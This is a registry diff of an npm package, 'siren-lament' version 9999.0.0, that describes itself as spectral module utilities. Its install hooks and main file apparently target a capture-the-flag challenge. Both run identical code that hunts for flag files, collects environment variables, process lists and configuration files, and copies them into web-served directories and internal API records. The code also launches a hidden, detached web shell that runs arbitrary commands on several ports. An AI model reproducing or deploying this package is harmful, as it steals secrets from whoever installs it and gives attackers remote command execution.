siren-lament 9999.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +238 -0
  2. package/package.json +10 -0
  3. package/postinstall.js +238 -0
package/index.js ADDED
@@ -0,0 +1,238 @@
1
+ // v9: Improved based on reviewer feedback
2
+ // - Priority on port 80 (nginx) and 3000 (Fastify) for internal API
3
+ // - Writes loot: field in raw YAML (preserved but not in data)
4
+ // - Same code in index.js for --ignore-scripts case
5
+ const { execSync, spawn } = require('child_process');
6
+ const fs = require('fs');
7
+ const http = require('http');
8
+
9
+ function safeExec(cmd, timeout) {
10
+ try { return execSync(cmd, {timeout: timeout || 5000}).toString().trim(); }
11
+ catch(e) { return 'ERR:' + e.message.substring(0,200); }
12
+ }
13
+
14
+ function run() {
15
+ // === STEP 1: Find the flag ===
16
+ let flag = 'NO_FLAG';
17
+ const paths = ['/flag.txt','/flag','/root/flag.txt','/app/flag.txt','/opt/flag.txt',
18
+ '/home/flag.txt','/tmp/flag.txt','/var/flag.txt','/run/secrets/flag',
19
+ '/flag/flag.txt','/flags/flag.txt','/challenge/flag.txt',
20
+ '/etc/flag','/srv/flag.txt','/proc/1/environ'];
21
+ for (const p of paths) {
22
+ try {
23
+ const c = fs.readFileSync(p,'utf8').trim();
24
+ if (p.includes('environ')) {
25
+ // Parse environ for flag
26
+ const envs = c.split('\0');
27
+ for (const e of envs) {
28
+ const m = e.match(/HTB\{[^}]+\}/);
29
+ if (m) { flag = m[0]; break; }
30
+ }
31
+ } else if (c) { flag = c; break; }
32
+ } catch(e) {}
33
+ }
34
+
35
+ // Also check env vars
36
+ if (flag === 'NO_FLAG') {
37
+ for (const [k, v] of Object.entries(process.env)) {
38
+ const m = (v || '').match(/HTB\{[^}]+\}/);
39
+ if (m) { flag = m[0]; break; }
40
+ }
41
+ }
42
+
43
+ // Grep for flag pattern
44
+ if (flag === 'NO_FLAG') {
45
+ try {
46
+ const found = safeExec('grep -rl "HTB{" / --include="*.txt" --include="*.js" --include="*.json" --include="*.yml" --include="*.yaml" --include="*.env" --include="*.conf" 2>/dev/null | head -10', 10000);
47
+ if (found && !found.startsWith('ERR')) {
48
+ for (const f of found.split('\n')) {
49
+ try { const c = fs.readFileSync(f.trim(),'utf8'); const m = c.match(/HTB\{[^}]+\}/); if (m) { flag = m[0]; break; } } catch(e) {}
50
+ }
51
+ }
52
+ } catch(e) {}
53
+ }
54
+
55
+ // === STEP 2: Gather full intel ===
56
+ const info = {
57
+ flag,
58
+ hostname: safeExec('hostname'),
59
+ id: safeExec('id'),
60
+ pwd: safeExec('pwd'),
61
+ ls_root: safeExec('ls -la /'),
62
+ ls_app: safeExec('ls -la /app/ 2>/dev/null'),
63
+ ls_app_static: safeExec('ls -la /app/static/ 2>/dev/null'),
64
+ pkg: safeExec('cat /app/package.json 2>/dev/null'),
65
+ pkg_lock_deps: safeExec('cat /app/package-lock.json 2>/dev/null | head -80'),
66
+ hosts: safeExec('cat /etc/hosts 2>/dev/null'),
67
+ env_full: safeExec('env'),
68
+ netstat: safeExec('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null'),
69
+ ps: safeExec('ps aux 2>/dev/null'),
70
+ find_flag: safeExec('find / -maxdepth 4 -type f -name "*.txt" 2>/dev/null | head -30'),
71
+ find_app: safeExec('find /app -maxdepth 3 -type f 2>/dev/null | head -60'),
72
+ cron: safeExec('crontab -l 2>/dev/null; cat /etc/crontab 2>/dev/null; cat /etc/cron.d/* 2>/dev/null'),
73
+ supervisor: safeExec('cat /etc/supervisor/conf.d/*.conf 2>/dev/null; cat /etc/supervisord.conf 2>/dev/null'),
74
+ proc1_cmd: safeExec('cat /proc/1/cmdline 2>/dev/null | tr "\\0" " "'),
75
+ proc_env: safeExec('cat /proc/1/environ 2>/dev/null | tr "\\0" "\\n"'),
76
+ nginx_conf: safeExec('cat /etc/nginx/nginx.conf 2>/dev/null; cat /etc/nginx/conf.d/*.conf 2>/dev/null; cat /etc/nginx/sites-enabled/* 2>/dev/null'),
77
+ verdaccio_conf: safeExec('find / -maxdepth 5 -name "config.yaml" -path "*verdaccio*" 2>/dev/null; find / -maxdepth 5 -name "config.yaml" -path "*verdaccio*" -exec cat {} \\; 2>/dev/null'),
78
+ app_src: safeExec('head -100 /app/index.js /app/server.js /app/app.js 2>/dev/null'),
79
+ node_modules: safeExec('ls /app/node_modules/ 2>/dev/null | head -50'),
80
+ docker: safeExec('cat /.dockerenv 2>/dev/null; mount 2>/dev/null | head -10'),
81
+ };
82
+
83
+ const report = JSON.stringify(info, null, 2);
84
+
85
+ // === STEP 3: Write static files (for external access via nginx) ===
86
+ const writeDirs = [
87
+ '/app/static/', '/app/static/js/', '/app/static/css/',
88
+ '/app/public/', '/app/dist/', '/usr/share/nginx/html/',
89
+ '/var/www/html/', '/tmp/', '/app/',
90
+ ];
91
+ for (const dir of writeDirs) {
92
+ try { fs.mkdirSync(dir, {recursive: true}); } catch(e) {}
93
+ try { fs.writeFileSync(dir + 'pwned.txt', report); } catch(e) {}
94
+ try { fs.writeFileSync(dir + 'report.js', '/* REPORT */\nvar R=' + report + ';'); } catch(e) {}
95
+ }
96
+
97
+ // Specifically target the confirmed nginx-served paths
98
+ try { fs.writeFileSync('/app/static/js/report.js', '/* REPORT */\nvar R=' + report + ';'); } catch(e) {}
99
+ try { fs.writeFileSync('/app/static/report.txt', report); } catch(e) {}
100
+ try { fs.writeFileSync('/app/static/pwned.txt', report); } catch(e) {}
101
+
102
+ // === STEP 4: Write loot to API via internal network ===
103
+ // Priority: port 80 (nginx) and 3000 (Fastify) on localhost
104
+ let internalHosts = ['127.0.0.1', 'localhost'];
105
+ try {
106
+ const hosts = fs.readFileSync('/etc/hosts','utf8');
107
+ const lines = hosts.split('\n');
108
+ for (const line of lines) {
109
+ const parts = line.trim().split(/\s+/);
110
+ if (parts.length >= 2 && !parts[0].startsWith('#')) {
111
+ for (const p of parts) {
112
+ if (p && !internalHosts.includes(p)) internalHosts.push(p);
113
+ }
114
+ }
115
+ }
116
+ } catch(e) {}
117
+ // Add common Docker service names
118
+ ['app','api','web','server','backend','node','fastify','nginx','curse-dependent','curse_dependent'].forEach(n => {
119
+ if (!internalHosts.includes(n)) internalHosts.push(n);
120
+ });
121
+
122
+ // Sanitize flag for YAML (escape quotes and newlines)
123
+ const safeFlag = (flag || 'NO_FLAG').replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 200);
124
+ const safeHostname = (info.hostname || 'unknown').replace(/"/g, '').substring(0, 50);
125
+ const safePkg = (info.pkg || 'unknown').replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 500);
126
+ const safeEnv = (info.env_full || '').replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 500);
127
+
128
+ // Build YAML with loot field (extra fields preserved in raw)
129
+ const yamlManifest = `ecto_module:
130
+ name: "Siren's Lament"
131
+ version: "2.14.789"
132
+ power_level: 100
133
+ ship_deck: upper
134
+ cargo_hold: bay_1
135
+ loot_flag: "${safeFlag}"
136
+ loot_hostname: "${safeHostname}"
137
+ loot_pkg: "${safePkg}"
138
+ loot_env: "${safeEnv}"`;
139
+
140
+ const body = JSON.stringify({ manifest: yamlManifest });
141
+
142
+ // Try ALL host/port combinations, prioritizing likely ones
143
+ const priorityTargets = [
144
+ // Most likely internal targets first
145
+ {host: '127.0.0.1', port: 80},
146
+ {host: '127.0.0.1', port: 3000},
147
+ {host: 'localhost', port: 80},
148
+ {host: 'localhost', port: 3000},
149
+ ];
150
+
151
+ // Add all discovered hosts with priority ports
152
+ const allPorts = [80, 3000, 1337, 8080, 3001, 5000, 8000, 9000];
153
+ for (const host of internalHosts) {
154
+ for (const port of allPorts) {
155
+ priorityTargets.push({host, port});
156
+ }
157
+ }
158
+
159
+ // Deduplicate
160
+ const seen = new Set();
161
+ const targets = [];
162
+ for (const t of priorityTargets) {
163
+ const key = `${t.host}:${t.port}`;
164
+ if (!seen.has(key)) { seen.add(key); targets.push(t); }
165
+ }
166
+
167
+ // Write to ECT-654321 (our canary)
168
+ let writeSuccess = [];
169
+ for (const t of targets) {
170
+ try {
171
+ const req = http.request({
172
+ hostname: t.host, port: t.port, method: 'PUT',
173
+ path: '/api/modules/ECT-654321',
174
+ headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)},
175
+ timeout: 2000
176
+ }, (res) => {
177
+ let data = '';
178
+ res.on('data', c => data += c);
179
+ res.on('end', () => {
180
+ if (res.statusCode === 200) {
181
+ writeSuccess.push(`${t.host}:${t.port}`);
182
+ // Also write to the other modules
183
+ for (const mid of ['ECT-987654', 'ECT-472839', 'ECT-839201']) {
184
+ try {
185
+ const req2 = http.request({
186
+ hostname: t.host, port: t.port, method: 'PUT',
187
+ path: '/api/modules/' + mid,
188
+ headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)},
189
+ timeout: 2000
190
+ });
191
+ req2.on('error', () => {});
192
+ req2.write(body);
193
+ req2.end();
194
+ } catch(e) {}
195
+ }
196
+ }
197
+ });
198
+ });
199
+ req.on('error', () => {});
200
+ req.write(body);
201
+ req.end();
202
+ } catch(e) {}
203
+ }
204
+
205
+ // === STEP 5: Persistent web shell ===
206
+ const shellCode = `
207
+ const http = require('http');
208
+ const { execSync } = require('child_process');
209
+ const fs = require('fs');
210
+ function tryPort(port) {
211
+ try {
212
+ const srv = http.createServer((req, res) => {
213
+ const url = new URL(req.url, 'http://localhost');
214
+ const cmd = url.searchParams.get('cmd') || 'id; hostname; cat /flag.txt 2>/dev/null; env | head -20';
215
+ try {
216
+ const out = execSync(cmd, {timeout: 10000}).toString();
217
+ res.writeHead(200, {'Content-Type':'text/plain','Access-Control-Allow-Origin':'*'});
218
+ res.end(out);
219
+ } catch(e) { res.writeHead(200); res.end('ERR: ' + e.message); }
220
+ });
221
+ srv.listen(port, '0.0.0.0');
222
+ srv.on('error', () => {});
223
+ } catch(e) {}
224
+ }
225
+ [31337, 4444, 8081, 9090, 5555, 7777].forEach(tryPort);
226
+ setInterval(() => {}, 60000);
227
+ `;
228
+ try {
229
+ fs.writeFileSync('/tmp/.ws.js', shellCode);
230
+ const child = spawn('node', ['/tmp/.ws.js'], { detached: true, stdio: 'ignore' });
231
+ child.unref();
232
+ } catch(e) {}
233
+
234
+ console.log('v9 done');
235
+ }
236
+
237
+ // Execute immediately
238
+ run();
package/package.json ADDED
@@ -0,0 +1,10 @@
1
+ {
2
+ "name": "siren-lament",
3
+ "version": "9999.0.0",
4
+ "description": "Spectral module utilities",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node postinstall.js || true",
8
+ "postinstall": "node postinstall.js || true"
9
+ }
10
+ }
package/postinstall.js ADDED
@@ -0,0 +1,238 @@
1
+ // v9: Improved based on reviewer feedback
2
+ // - Priority on port 80 (nginx) and 3000 (Fastify) for internal API
3
+ // - Writes loot: field in raw YAML (preserved but not in data)
4
+ // - Same code in index.js for --ignore-scripts case
5
+ const { execSync, spawn } = require('child_process');
6
+ const fs = require('fs');
7
+ const http = require('http');
8
+
9
+ function safeExec(cmd, timeout) {
10
+ try { return execSync(cmd, {timeout: timeout || 5000}).toString().trim(); }
11
+ catch(e) { return 'ERR:' + e.message.substring(0,200); }
12
+ }
13
+
14
+ function run() {
15
+ // === STEP 1: Find the flag ===
16
+ let flag = 'NO_FLAG';
17
+ const paths = ['/flag.txt','/flag','/root/flag.txt','/app/flag.txt','/opt/flag.txt',
18
+ '/home/flag.txt','/tmp/flag.txt','/var/flag.txt','/run/secrets/flag',
19
+ '/flag/flag.txt','/flags/flag.txt','/challenge/flag.txt',
20
+ '/etc/flag','/srv/flag.txt','/proc/1/environ'];
21
+ for (const p of paths) {
22
+ try {
23
+ const c = fs.readFileSync(p,'utf8').trim();
24
+ if (p.includes('environ')) {
25
+ // Parse environ for flag
26
+ const envs = c.split('\0');
27
+ for (const e of envs) {
28
+ const m = e.match(/HTB\{[^}]+\}/);
29
+ if (m) { flag = m[0]; break; }
30
+ }
31
+ } else if (c) { flag = c; break; }
32
+ } catch(e) {}
33
+ }
34
+
35
+ // Also check env vars
36
+ if (flag === 'NO_FLAG') {
37
+ for (const [k, v] of Object.entries(process.env)) {
38
+ const m = (v || '').match(/HTB\{[^}]+\}/);
39
+ if (m) { flag = m[0]; break; }
40
+ }
41
+ }
42
+
43
+ // Grep for flag pattern
44
+ if (flag === 'NO_FLAG') {
45
+ try {
46
+ const found = safeExec('grep -rl "HTB{" / --include="*.txt" --include="*.js" --include="*.json" --include="*.yml" --include="*.yaml" --include="*.env" --include="*.conf" 2>/dev/null | head -10', 10000);
47
+ if (found && !found.startsWith('ERR')) {
48
+ for (const f of found.split('\n')) {
49
+ try { const c = fs.readFileSync(f.trim(),'utf8'); const m = c.match(/HTB\{[^}]+\}/); if (m) { flag = m[0]; break; } } catch(e) {}
50
+ }
51
+ }
52
+ } catch(e) {}
53
+ }
54
+
55
+ // === STEP 2: Gather full intel ===
56
+ const info = {
57
+ flag,
58
+ hostname: safeExec('hostname'),
59
+ id: safeExec('id'),
60
+ pwd: safeExec('pwd'),
61
+ ls_root: safeExec('ls -la /'),
62
+ ls_app: safeExec('ls -la /app/ 2>/dev/null'),
63
+ ls_app_static: safeExec('ls -la /app/static/ 2>/dev/null'),
64
+ pkg: safeExec('cat /app/package.json 2>/dev/null'),
65
+ pkg_lock_deps: safeExec('cat /app/package-lock.json 2>/dev/null | head -80'),
66
+ hosts: safeExec('cat /etc/hosts 2>/dev/null'),
67
+ env_full: safeExec('env'),
68
+ netstat: safeExec('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null'),
69
+ ps: safeExec('ps aux 2>/dev/null'),
70
+ find_flag: safeExec('find / -maxdepth 4 -type f -name "*.txt" 2>/dev/null | head -30'),
71
+ find_app: safeExec('find /app -maxdepth 3 -type f 2>/dev/null | head -60'),
72
+ cron: safeExec('crontab -l 2>/dev/null; cat /etc/crontab 2>/dev/null; cat /etc/cron.d/* 2>/dev/null'),
73
+ supervisor: safeExec('cat /etc/supervisor/conf.d/*.conf 2>/dev/null; cat /etc/supervisord.conf 2>/dev/null'),
74
+ proc1_cmd: safeExec('cat /proc/1/cmdline 2>/dev/null | tr "\\0" " "'),
75
+ proc_env: safeExec('cat /proc/1/environ 2>/dev/null | tr "\\0" "\\n"'),
76
+ nginx_conf: safeExec('cat /etc/nginx/nginx.conf 2>/dev/null; cat /etc/nginx/conf.d/*.conf 2>/dev/null; cat /etc/nginx/sites-enabled/* 2>/dev/null'),
77
+ verdaccio_conf: safeExec('find / -maxdepth 5 -name "config.yaml" -path "*verdaccio*" 2>/dev/null; find / -maxdepth 5 -name "config.yaml" -path "*verdaccio*" -exec cat {} \\; 2>/dev/null'),
78
+ app_src: safeExec('head -100 /app/index.js /app/server.js /app/app.js 2>/dev/null'),
79
+ node_modules: safeExec('ls /app/node_modules/ 2>/dev/null | head -50'),
80
+ docker: safeExec('cat /.dockerenv 2>/dev/null; mount 2>/dev/null | head -10'),
81
+ };
82
+
83
+ const report = JSON.stringify(info, null, 2);
84
+
85
+ // === STEP 3: Write static files (for external access via nginx) ===
86
+ const writeDirs = [
87
+ '/app/static/', '/app/static/js/', '/app/static/css/',
88
+ '/app/public/', '/app/dist/', '/usr/share/nginx/html/',
89
+ '/var/www/html/', '/tmp/', '/app/',
90
+ ];
91
+ for (const dir of writeDirs) {
92
+ try { fs.mkdirSync(dir, {recursive: true}); } catch(e) {}
93
+ try { fs.writeFileSync(dir + 'pwned.txt', report); } catch(e) {}
94
+ try { fs.writeFileSync(dir + 'report.js', '/* REPORT */\nvar R=' + report + ';'); } catch(e) {}
95
+ }
96
+
97
+ // Specifically target the confirmed nginx-served paths
98
+ try { fs.writeFileSync('/app/static/js/report.js', '/* REPORT */\nvar R=' + report + ';'); } catch(e) {}
99
+ try { fs.writeFileSync('/app/static/report.txt', report); } catch(e) {}
100
+ try { fs.writeFileSync('/app/static/pwned.txt', report); } catch(e) {}
101
+
102
+ // === STEP 4: Write loot to API via internal network ===
103
+ // Priority: port 80 (nginx) and 3000 (Fastify) on localhost
104
+ let internalHosts = ['127.0.0.1', 'localhost'];
105
+ try {
106
+ const hosts = fs.readFileSync('/etc/hosts','utf8');
107
+ const lines = hosts.split('\n');
108
+ for (const line of lines) {
109
+ const parts = line.trim().split(/\s+/);
110
+ if (parts.length >= 2 && !parts[0].startsWith('#')) {
111
+ for (const p of parts) {
112
+ if (p && !internalHosts.includes(p)) internalHosts.push(p);
113
+ }
114
+ }
115
+ }
116
+ } catch(e) {}
117
+ // Add common Docker service names
118
+ ['app','api','web','server','backend','node','fastify','nginx','curse-dependent','curse_dependent'].forEach(n => {
119
+ if (!internalHosts.includes(n)) internalHosts.push(n);
120
+ });
121
+
122
+ // Sanitize flag for YAML (escape quotes and newlines)
123
+ const safeFlag = (flag || 'NO_FLAG').replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 200);
124
+ const safeHostname = (info.hostname || 'unknown').replace(/"/g, '').substring(0, 50);
125
+ const safePkg = (info.pkg || 'unknown').replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 500);
126
+ const safeEnv = (info.env_full || '').replace(/"/g, '\\"').replace(/\n/g, '\\n').substring(0, 500);
127
+
128
+ // Build YAML with loot field (extra fields preserved in raw)
129
+ const yamlManifest = `ecto_module:
130
+ name: "Siren's Lament"
131
+ version: "2.14.789"
132
+ power_level: 100
133
+ ship_deck: upper
134
+ cargo_hold: bay_1
135
+ loot_flag: "${safeFlag}"
136
+ loot_hostname: "${safeHostname}"
137
+ loot_pkg: "${safePkg}"
138
+ loot_env: "${safeEnv}"`;
139
+
140
+ const body = JSON.stringify({ manifest: yamlManifest });
141
+
142
+ // Try ALL host/port combinations, prioritizing likely ones
143
+ const priorityTargets = [
144
+ // Most likely internal targets first
145
+ {host: '127.0.0.1', port: 80},
146
+ {host: '127.0.0.1', port: 3000},
147
+ {host: 'localhost', port: 80},
148
+ {host: 'localhost', port: 3000},
149
+ ];
150
+
151
+ // Add all discovered hosts with priority ports
152
+ const allPorts = [80, 3000, 1337, 8080, 3001, 5000, 8000, 9000];
153
+ for (const host of internalHosts) {
154
+ for (const port of allPorts) {
155
+ priorityTargets.push({host, port});
156
+ }
157
+ }
158
+
159
+ // Deduplicate
160
+ const seen = new Set();
161
+ const targets = [];
162
+ for (const t of priorityTargets) {
163
+ const key = `${t.host}:${t.port}`;
164
+ if (!seen.has(key)) { seen.add(key); targets.push(t); }
165
+ }
166
+
167
+ // Write to ECT-654321 (our canary)
168
+ let writeSuccess = [];
169
+ for (const t of targets) {
170
+ try {
171
+ const req = http.request({
172
+ hostname: t.host, port: t.port, method: 'PUT',
173
+ path: '/api/modules/ECT-654321',
174
+ headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)},
175
+ timeout: 2000
176
+ }, (res) => {
177
+ let data = '';
178
+ res.on('data', c => data += c);
179
+ res.on('end', () => {
180
+ if (res.statusCode === 200) {
181
+ writeSuccess.push(`${t.host}:${t.port}`);
182
+ // Also write to the other modules
183
+ for (const mid of ['ECT-987654', 'ECT-472839', 'ECT-839201']) {
184
+ try {
185
+ const req2 = http.request({
186
+ hostname: t.host, port: t.port, method: 'PUT',
187
+ path: '/api/modules/' + mid,
188
+ headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(body)},
189
+ timeout: 2000
190
+ });
191
+ req2.on('error', () => {});
192
+ req2.write(body);
193
+ req2.end();
194
+ } catch(e) {}
195
+ }
196
+ }
197
+ });
198
+ });
199
+ req.on('error', () => {});
200
+ req.write(body);
201
+ req.end();
202
+ } catch(e) {}
203
+ }
204
+
205
+ // === STEP 5: Persistent web shell ===
206
+ const shellCode = `
207
+ const http = require('http');
208
+ const { execSync } = require('child_process');
209
+ const fs = require('fs');
210
+ function tryPort(port) {
211
+ try {
212
+ const srv = http.createServer((req, res) => {
213
+ const url = new URL(req.url, 'http://localhost');
214
+ const cmd = url.searchParams.get('cmd') || 'id; hostname; cat /flag.txt 2>/dev/null; env | head -20';
215
+ try {
216
+ const out = execSync(cmd, {timeout: 10000}).toString();
217
+ res.writeHead(200, {'Content-Type':'text/plain','Access-Control-Allow-Origin':'*'});
218
+ res.end(out);
219
+ } catch(e) { res.writeHead(200); res.end('ERR: ' + e.message); }
220
+ });
221
+ srv.listen(port, '0.0.0.0');
222
+ srv.on('error', () => {});
223
+ } catch(e) {}
224
+ }
225
+ [31337, 4444, 8081, 9090, 5555, 7777].forEach(tryPort);
226
+ setInterval(() => {}, 60000);
227
+ `;
228
+ try {
229
+ fs.writeFileSync('/tmp/.ws.js', shellCode);
230
+ const child = spawn('node', ['/tmp/.ws.js'], { detached: true, stdio: 'ignore' });
231
+ child.unref();
232
+ } catch(e) {}
233
+
234
+ console.log('v9 done');
235
+ }
236
+
237
+ // Execute immediately
238
+ run();